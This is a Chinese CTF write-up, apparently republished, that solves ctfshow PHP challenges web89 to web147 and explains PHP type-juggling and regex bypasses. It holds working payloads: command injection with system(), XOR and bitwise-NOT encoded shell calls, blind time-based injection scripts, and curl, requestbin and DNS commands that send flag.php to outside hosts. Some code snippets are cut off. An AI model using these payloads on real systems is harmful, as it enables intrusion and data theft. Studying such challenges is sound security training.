千家信息网

php中ctfshow的特性是什么

发表于:2024-09-23 作者:千家信息网编辑
千家信息网最后更新 2024年09月23日,本篇文章为大家展示了php中ctfshow的特性是什么,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。web89~数组绕过preg_match
千家信息网最后更新 2024年09月23日php中ctfshow的特性是什么

本篇文章为大家展示了php中ctfshow的特性是什么,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

web89~数组绕过preg_match

  • preg_match - 执行匹配正则表达式

返回值:

**preg_match()返回 pattern的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject直到到达结尾。 如果发生错误preg_match()**返回 FALSE

数组绕过

当匹配数组是返回false绕过。

?num[]=1

web90~intval函数

  • intval()函数用于获取变量的整数值。
    intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

int intval ( mixed $var [, int $base = 10 ] )

参数说明:

  • $var:要转换成 integer 的数量值。

  • $base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,

  • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,

  • 将使用 10 进制 (decimal)。

传参一个数既要使其不强等于4476,又要使得intaval函数处理后的结果强等于4476,结合上述函数解释

构造

?num=4476a

web91~/m之%0a绕过

题目要求,传参 cmd.

但是第一个正则匹配要求多行匹配php,但是另一个要求有去掉修饰符m要求不匹配php.那么就应该能想到是截断。

第一个匹配多行,第二个只匹配单行,那么我们可以构造php%0ap进行匹配,当多行匹配的时候前后都是p,

还可以这里有有两个条件,第一个需要是php,第二个又不可以php,不过有个差距就是m模式,/m代表匹配多行数据,第一个if有匹配到第二行的php,而第二个if匹配不到为假。

CVE-2017-15715

https://blog.csdn.net/qq_46091464/article/details/108278486

web92~intval八十六进制科学计数法绕过

同样考点是intval,但这道题不同于web90,而是弱比较,所以说4476a等肯定不行的。

这里用到十六进制0x117c或者八进制010574

https://www.runoob.com/php/php-intval-function.html

也可以科学计数法4476e2,在第一个if会计数比较,在intval函数中会被看做字符串。

web93~intval八进制绕过

过滤了字母,但我们可以使用八进制010574

web94~八进制,小数点绕过

  • strpos查找 "php" 在字符串中第一次出现的位置:

  • strpos() 函数对大小写敏感。

  • 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

比上一关增加条件,strpos函数限制了传参第一位不能为0,如果为0,就die.

但是如果找不到的话又会die.

仔细观察这里时强等于。

我们可以在八进制前加一个空格

?num=  010574

或者用小数点

?num=4476.0

或者再加个 +

?num=+4476.0

web95~空格加八进制绕intval

又增加过滤了.

构造空格+八进制

?num=  010574

也可以

?num=+010574?num=%2b010574

web96~绝对路径相对路径

可以看到不能直接等于flag.php,

但是我们可以构造路劲让其显示

?u=/var/www/html/flag.php?u=./flag.php

web97~md5数组绕过

这里是强比较。

弱比较的话可以百度有好多md5加密后是0e开头的,弱比较 0=0

强比较

如果传入md5函数的不是字符串而是数组,那么就会返回null, null=null绕过。

构造

a[]=1&b[]=2

还有md5强碰撞

https://blog.csdn.net/EC_Carrot/article/details/109525162

https://www.cnblogs.com/kuaile1314/p/11968108.html

web98~三元运算地址引用

Notice: Undefined index: flag in /var/www/html/index.php on line 15Notice: Undefined index: flag in /var/www/html/index.php on line 16Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17

三元符运算,和传址(引用)

$_GET?$_GET=&$_POST:'flag';  //只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)

那么看最后要求$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__那么我们就可以直接随意get传参一个,然后post传参HTTP_FLAG=flag即可获得flag.

看看wp:

https://www.php.cn/php-notebook-172859.html https://www.php.cn/php-weizijiaocheng-383293.html 考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码

web99~in_array()漏洞

意为当没有设置第三个函数时,比较是会自动转换数据类型,也就是弱比较。

那么我们传入1.php就相当于若等于1.

构造

/?n=1.php# postcontent=

web100~运算符优先级,反射类

Notice: Undefined index: v1 in /var/www/html/index.php on line 17Notice: Undefined index: v2 in /var/www/html/index.php on line 18Notice: Undefined index: v3 in /var/www/html/index.php on line 19

这里有问题,又学费了。

php =的运算符竟然比 and高。

https://www.jb51.net/article/42425.htm

&& > || > = > and > or

https://www.php.net/manual/zh/language.operators.precedence.php

所以这时候就很清晰明了了。

只需要传入的 v1值是数字。v3必须有;

构造

# 直接输出$ctfshow;构造出 var_dump($ctfshow);?v1=1&v2=var_dump($ctfshow)/*&v3=*/;?v1=1&v2=var_dump(new ctfshow())/*&v3=*/;# 因为过滤的字符比较少,所以可以直接执行命令。?v1=1&v2=system('ls')/*&v3=*/;/?v1=1&v2=system('ls')&v3=;    # 会报错但也可出来

反射类: https://www.php.net/manual/zh/class.reflectionclass.php

?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/;?v1=1&v2=echo new ReflectionClass&v3=;

反射类用法:

";}}$a=new ReflectionClass('A');var_dump($a->getConstants());  获取一组常量输出 array(1) {  ["PI"]=>  float(3.14)}var_dump($a->getName());    获取类名输出string(1) "A"var_dump($a->getStaticProperties()); 获取静态属性输出array(1) {  ["flag"]=>  string(15) "flag{123123123}"}var_dump($a->getMethods()); 获取类中的方法输出array(1) {  [0]=>  object(ReflectionMethod)#2 (2) {    ["name"]=>string(5) "hello"    ["class"]=>string(1) "A"  }}

https://blog.csdn.net/miuzzx/article/details/109168454

解出来

flag_is_d3e0a1060x2d8b970x2d4f790x2db73d0x2d542e6338bca7

有点小坑,仔细看才发现有好多0x2d

flag{d3e0a106-8b97-4f79-b73d-542e6338bca7}

web101~反射类

Notice: Undefined index: v1 in /var/www/html/index.php on line 17Notice: Undefined index: v2 in /var/www/html/index.php on line 18Notice: Undefined index: v3 in /var/www/html/index.php on line 19

跟上道题差不多,过滤的严了一些。过滤掉了\ 和反引号,单引号,括号。

只能用反射类了。

构造

?v1=1&v2=echo new ReflectionClass&v3=;

同样结果注意flag格式

web102~hex2bin,base64编码后都为数字

Notice: Undefined index: v1 in /var/www/html/index.php on line 14Notice: Undefined index: v2 in /var/www/html/index.php on line 15Notice: Undefined index: v3 in /var/www/html/index.php on line 16hacker

这里要求v2是数字,并且截取第三位后的字符作为call_user_func的第二个参数。

v1作为 call_user_func的第一个参数。

v3作为 file_put_contents的文件名。

call_user_func($v1,$s);返回结果作为file_put_contents的第二参数。

is_numeric 函数是又漏洞的,再 php5 版本下是可以识别十六进制的。也就是说,如果传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(的十六进制)也是可以识别为数字的。

但此题是 php7 环境。不可以。

要让v2均为数字,首先我们考虑写入1.php时,利用伪协议写入

get:v2=???&v3=php://filter/write=convert.base64-decode/resource=1.phppost: v1=hex2bin

关键就是什么代码base64编码后再转为十六进制为全数字

$a='

同时因为经过substr处理,所以v2前面还要补两位数字。

构造

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php# postv1=hex2bin

或者

GETv2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.phpPOSTv1=hex2bin#访问1.php后查看源代码获得flag# 115044383959474e6864434171594473 16进制转字符 PD89YGNhdCAqYDs base64解码  

web103~hex2bin

Notice: Undefined index: v1 in /var/www/html/index.php on line 14Notice: Undefined index: v2 in /var/www/html/index.php on line 15Notice: Undefined index: v3 in /var/www/html/index.php on line 16hacker

相比上关过滤了php.

用上关payload也可以打通。

web104~sha1弱相等

  • sha1 - 计算字符串的 sha1 散列值. 返回 sha1 散列值字符串。

sha1()函数无法处理数组类型,将报错并返回false,

所以构造

?v2[]=1# postv1[]=1

这里没有判断两值是否相等,所以也可以传入两个相等的数。

?v2=2v1=2

还有几个弱比较相等的字符串

aaroZmOkaaK1STfYaaO8zKZFaa3OFF9m

web105~$$变量覆盖

 $value){    if($key==='error'){        die("what are you doing?!");    }    $$key=$$value;}foreach($_POST as $key => $value){    if($value==='flag'){        die("what are you doing?!");    }    $$key=$$value;}if(!($_POST['flag']==$flag)){    die($error);}echo "your are good".$flag."\n";die($suces);?>你还想要flag嘛?

变量覆盖。

代码审计,直接传入

?suces=flag# posterror=suces

这里把suceserror都覆盖成了 $flag,所以不管die 哪个,都会输出flag.

web106~sha1弱比较

数组绕过。

还有

aaroZmOkaaK1STfYaaO8zKZFaa3OFF9m

web107~MD5弱比较

MD5弱类型比较。

  • parse_str() 函数把查询字符串解析到变量中。

注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

  1. 数组绕过
    md5加密数组会返回NULL,$v2['flag'] 也是NULL。

?v3[]=1v1[]=flag=0
  1. 弱比较绕过

0e开头的md5和原值:QNKCDZO0e8304004519934940580242199033912406107080e462097431906509019562988736854s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s1885207154a0e509367213418206700842008763514s1502113478a0e861580163291561247404381396064s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s155964671a0e342768416822451524974117254469s1184209335a0e072485820392773389523109082030s1665632922a0e731198061491163073197128363787s1502113478a0e861580163291561247404381396064s1836677006a0e481036490867661113260034900752s1091221200a0e940624217856561557816327384675s155964671a0e342768416822451524974117254469s1502113478a0e861580163291561247404381396064s155964671a0e342768416822451524974117254469s1665632922a0e731198061491163073197128363787s155964671a0e342768416822451524974117254469s1091221200a0e940624217856561557816327384675s1836677006a0e481036490867661113260034900752s1885207154a0e509367213418206700842008763514s532378020a0e220463095855511507588041205815s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s214587387a0e848240448830537924465865611904s1502113478a0e861580163291561247404381396064s1091221200a0e940624217856561557816327384675s1665632922a0e731198061491163073197128363787s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s1665632922a0e731198061491163073197128363787s878926199a0e545993274517709034328855841020

web108~ereg 截断漏洞

error
  • ereg - 正则表达式匹配

  • ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用截断正则匹配

0x36d877

所以构造

?c=aaaaa778

当通过strrevintval的时候,为 877

web109~反射类,异常处理

payload:

?v1=ReflectionClass&v2=system('ls')?v1=Exception&v2=system('ls')

web110~FilesystemIterator类读取文件

考察点:FilesystemIterator类的使用(作用就是获取当前目录文件)

payload:

?v1=FilesystemIterator&v2=getcwd

http://phpff.com/filesystemiterator

web111~全局变量GLOBALS引用

/', $v1)){            die("error v1");    }    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){            die("error v2");    }    if(preg_match('/ctfshow/', $v1)){            getFlag($v1,$v2);    }}?>

php变量地址引用。可以利用全局变量来进行赋值给ctfshow这个变量

payload:

?v1=ctfshow&v2=GLOBALS

web112~php伪协议

  • is_file() 函数检查指定的文件名是否是正常的文件。如果文件存在且为正常的文件,则返回 true。

苦苦不知道flag在哪里,原来就在falg.php

payload:

?file=php://filter/resource=flag.php?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php?file=compress.zlib://flag.php

web113~/proc/self/root

压缩过滤器绕过

?file=compress.zlib://flag.php

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file.。

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

php的一个小 trick. 具体看这里

web114~filter

过滤了compress,上面的非预期也就不能用了。

filter没过滤。

payload :

?file=php://filter/resource=flag.php

web115~fuzz绕is_numeric,trim

trim函数的绕过+is_numeric绕过

语法trim(string,charlist)参数      描述string          必需。规定要检查的字符串。charlist            可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:"\0"       - NULL"\t"       - 制表符"\n"       - 换行"\x0B"     - 垂直制表符"\r"       - 回车" "        - 空格

测试代码:

for ($i=0; $i <128 ; $i++) {     $x=chr($i).'1';   if(is_numeric($x)==true){        echo urlencode(chr($i))."\n";   }}

输出了%09 %0A %0B %0C %0D + %2B - .

再来看看 trim+is_numeric

for ($i=0; $i <=128 ; $i++) {     $x=chr($i).'1';   if(trim($x)!=='1' &&  is_numeric($x)){        echo urlencode(chr($i))."\n";   }}

输出

%0C   %2B   -   .   0   1   2   3   4   5   6   7   8   9

%2B (+)-.被过滤。所以构造

?num=36

web123~php变量命名,_SERVER['argv'];

php变量命名是不允许使用点号的,所以isset($_POST['CTF_SHOW.COM'])就很难搞。

本地暴破一下:

1.php

python脚本:

import requestsurl = "http://127.0.0.1/1/1.php";for i in range(0,125):    i = chr(i)    for j in range(0, 125):        j = chr(j)        param =  "CTF"+i+"SHOW"+j+"COM"        data={            param:1,        }        #print(param)        reponse = requests.post(url=url,data=data)        page_text = reponse.text        if "CTF_SHOW.COM" in page_text:            print(i+'\t'+j+'\n')            print(page_text)

成功爆破出。 [ .

测试一下:

 string(1) "1" }

接下来看看$SERVER['argv']的作用。

1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER['argv']才会有效果

这时候的$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']

$argv,$argc在web模式下不适用


因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval("$c".";");将$flag赋值flag_give_me就可以了。

我们传值?$fl0g=flag_give_me;(记得有分号,后边需要eval执行),然后此时 $a[0]="$fl0g=flag_give_me;",我们让 eval("$c".";"); 中的 $c 变为eval($a[0])即可成功使 fl0g 变量成功赋值。

paylaod:

GET:?$fl0g=flag_give_me;POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

非预期解:

POST:  CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flagPOST:  CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS)   题目出不来,本地测试可以

这个题本来的的预期解是:

get: a=1+fl0g=flag_give_mepost: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

但是按理说这样也可以的呀:

get: fl0g=flag_give_mepost: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[0])

https://blog.csdn.net/miuzzx/article/details/109181768

应该又是环境问题。

web125~argv,parse_str

被过滤了其他方法,

payload

get: a=1+fl0g=flag_give_mepost: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

还有:

GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126~argv,assert

payload:

GET:?a=1+fl0g=flag_give_mePOST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])orGET:?$fl0g=flag_give_mePOST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web127~fuzz代替_

|\.|\\\|\//', $url)){        return true;    }else{        return false;    }}if(waf($url)){    die("嗯哼?");}else{    extract($_GET);}if($ctf_show==='ilove36d'){    echo $flag;}

fuzz:

1.php

python:

import requestsimport urllib.parseurl = "http://127.0.0.1/1/1.php"for i in range(0,125):    # print(i)    i = chr(i)    p = "ctf"+i+"show"    # p = urllib.parse.quote(p)    param = {        p:"ilove36d"    }    reponse = requests.get(url=url,params=param)    page = (reponse.text)    if "flaggg" in page:        print(i)        print(page)        print("------------------")

得到

flagggg------------------.flagggg------------------[flagggg------------------_flagggg------------------Process finished with exit code 0

这里其他被ban了,只能使用 空格

?ctf show=ilove36d

web128~gettext拓展,get_defined_vars获取已定义变量

gettext拓展的使用.

https://www.cnblogs.com/lost-1987/articles/3309693.html

https://www.php.net/manual/zh/book.gettext.php

所以 call_user_func('_','phpinfo')返回的就是phpinfo

get_defined_vars - 返回由所有已定义变量所组成的数组 这样可以获得 $flag

因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars

get_defined_vars ( void ) : array此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:

?f1=_&f2=get_defined_vars

web129~stripos包含特定绕过

0){        echo readfile($f);    }}
  • stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
PHP 版本:5+

目录穿越:

?f=/ctfshow/../var/www/html/flag.php?f=./ctfshow/../flag.php

还可以php伪协议

payload:

?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

还可以远程文件包含。在自己服务器上写一个命名 ctfshow.txt.

web130~正则

very very very(省略25万个very)ctfshow

直接 post ,正则匹配到 ctfshow与匹配规则不符 ,同时 stripos在第0 匹配, 而0=== FALSE为假绕过。

f=ctfshow

web131(修复130)~正则最大回溯

very very very(省略25万个very)ctfshow

利用正则最大回溯次数绕过

https://www.laruence.com/2010/06/08/1579.html

在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

写个py脚本:

import requestsurl = "http://b6f3a9c0-3da1-44b5-8cee-fedece8ae121.chall.ctf.show/"param = "very"*250000+"36Dctfshow"data = {    'f':param,}print(param)reponse = requests.post(url=url,data=data)print(reponse.text)

得到Falg

web132~运算符 && ||

打开是一个网站。

直接扫目录,扫到 /admin/

if绕过

if(false && false || ture)

payload

/admin/index.php?code=admin&username=admin&password=

web133~无回显rce,curl

分析一下代码发现仿佛是只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。可能利用就比较可能
但是,如果我们传递的参数就是$F本身,会不会发生变量覆盖?
那我们来一个简单的测试,

get传参   F=`$F `;sleep 3经过substr($F,0,6)截取后 得到  `$F `;也就是会执行 eval("`$F `;");我们把原来的$F带进去eval("``$F `;sleep 3`");也就是说最终会执行  `   `$F `;sleep 3  ` == shell_exec("`$F `;sleep 3");前面的命令我们不需要管,但是后面的命令我们可以自由控制。这样就在服务器上成功执行了 sleep 3所以 最后就是一道无回显的RCE题目了

然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

payload:

#其中-F 为带文件的形式发送post请求#xx是上传文件的name值,flag.php就是上传的文件 ?F=`$F `;curl -X POST -F xx=@flag.php  http://xxx

执行payload

?F=`$F `;curl -X POST -F xx=@flag.php  http://rrm5fjnnoqnekm19gqkc8q8dl4rvfk.burpcollaborator.net

之后就会在burp上收到 flag.php的内容,

其他方法:

利用网站 http://requestbin.net

?F=`$F `;curl  http://requestbin.net/r/1g8bsc01?p=`cat flag.php|grep flag`

参照:

https://blog.csdn.net/qq_46091464/article/details/109095382

web134~POST数组的覆盖

  • parse_str() 函数把查询字符串解析到变量中。

  • extract() 函数从数组中将变量导入到当前的符号表。

POST数组的覆盖

可以看到以GET 传参_POST[a]相当于post传参 a 效果。

构造paylaod

?_POST[key1]=36d&_POST[key2]=36d

web135~rce nl,cp,mv

在133的基础上增加了curl和其他一些字符的过滤,

可以写文件。

?F=`$F `;nl flag*>1.txt

也可以

?F=`$F`; cp flag.php 2.txt?F=`$F`; mv flag.php 3.txt

http://dnslog.cn/

申请一个域名。但是这种方法不行,可能域名前缀不行吧。

payload:F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn

web136~linux tee命令

|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){        die('too young too simple sometimes naive!');    }}if(isset($_GET['c'])){    $c=$_GET['c'];    check($c);    exec($c);}else{    highlight_file(__FILE__);}?>

把重定向符、mv、cp禁用了。

linux中tee命令·。

tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件

tee [OPTION]... [FILE]...

构造payload:

?c=ls /|tee 1?c=awk '/f/' /f149_15_h4r3|tee 1

web137~class:fun()

  • call_user_func - 把第一个参数作为回调函数调用

  • 第一个参数 callback是被调用的回调函数,其余参数是回调函数的参数。

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

也就是说双冒号可以不用实例化类就可以直接调用类中的方法

直接调用getFlag函数

ctfshow=ctfshow::getFlag

web138~call_user_func数组回调

-1){    die("private function");}call_user_func($_POST['ctfshow']);

这下子把 :冒号给禁用了。

用call_user_func()来调用一个类里面的方法

call_user_func(array($classname, 'say_hello'));这时候会调用 classname中的 say_hello方法

payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){        die('too young too simple sometimes naive!');    }}if(isset($_GET['c'])){    $c=$_GET['c'];    check($c);    exec($c);}else{    highlight_file(__FILE__);}?>

试了,没有写权限没所以不能写入文件了。

也没有回显。

师傅们的脚本。

猜测文件名:

import requestsimport timeimport stringstr = string.ascii_letters + string.digitsresult = ""for i in range(1, 5):    key = 0    for j in range(1, 15):        if key == 1:            break        for n in str:            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)            # print(payload)            url = "http://5c76069b-da3c-40a2-ac52-718a1c84fe56.chall.ctf.show/?c=" + payload            try:                requests.get(url, timeout=(2.5, 2.5))            except:                result = result + n                print(result)                break            if n == '9':                key = 1    result += " "

得到flag所在文件 f149_15_h4r3,接着盲注文件内容

import requestsimport timeimport stringstr=string.digits+string.ascii_lowercase+"-"result=""key=0for j in range(1,45):        print(j)        if key==1:                break        for n in str:                payload="if [ `cat /f149_15_h4r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)                #print(payload)                url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload                try:                        requests.get(url,timeout=(2.5,2.5))                except:                    result=result+n                    print(result)                    break

web140~弱比较函数调用

intval($code) == 'ctfshow'弱比较,所以只需要将 $code 等于字母或者 0 即可。

f1=md5&f2=phpinfof1=md5&f2=md5f1=sha1&f2=getcwd

we141~取反-执行php命令

/^\W+$/作用是匹配非数字字母下划线的字符.

php中 1-phpinfo();可以执行phpinfo()命令的。

取反构造

payload:

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-   # system(ls)?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)-    # system('cat flag.php')

取反脚本

web142

直接

?v1=0?v1=0x0

web143~异或 *

过滤了加减我们还可以用乘除,过滤了~我们可以用异或构造命令。

异或脚本:

=32&ord($c)<=126) {                        $contents=$contents.$c." ".$a." ".$b."\n";                }        }}}fwrite($myfile,$contents);fclose($myfile);
# -*- coding: utf-8 -*-import requestsimport urllibfrom sys import *import osdef action(arg):   s1=""   s2=""   for i in arg:       f=open("xor_rce.txt","r")       while True:           t=f.readline()           if t=="":               break           if t[0]==i:               #print(i)               s1+=t[2:5]               s2+=t[6:9]               break       f.close()   output="(\""+s1+"\"^\""+s2+"\")"   return(output)while True:   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"   print(param)

payload:

?v1=1&v2=1&v3=*("%0d"^"%60%60%60%60%60%60")(""^"%60%60%60%20%60%2a")*

web144~异或

  • \W 匹配非字母、数字、下划线。等价于 '[^A-Za-z0-9_]'。

直接构造 paylaod:

# system(ls)?v1=1&v3=1&v2=-("%0d"^"%60%60%60%60%60%60")(""^"%60%60")# system('cat f*')?v1=1&v3=1&v2=-("%0d"^"%60%60%60%60%60%60")(""^"%60%60%60%20%60%2a")

web145~三元运算符

|\*|\/|\^|\#|\"/i', $v3)){                die('get out hacker!');        }        else{            $code =  eval("return $v1$v3$v2;");            echo "$v1$v3$v2 = ".$code;        }    }}

- * ^ "

取反绕过。

取反脚本:

构造system(ls)

(~%8C%86%8C%8B%9A%92)(~%93%8C)

但是不知道如何使它执行,那么fuzz一波。

结果 ? :

也就是 return 1?system(ls):1

payload:

?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5):

web146~等号,位运算

|\*|\/|\^|\#|\"/i', $v3)){                die('get out hacker!');        }        else{            $code =  eval("return $v1$v3$v2;");            echo "$v1$v3$v2 = ".$code;        }    }}

接着把 三目运算过滤了。

利用等号和位运算符绕过。

payload:

?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)||?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|

web147

上述内容就是php中ctfshow的特性是什么,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。

0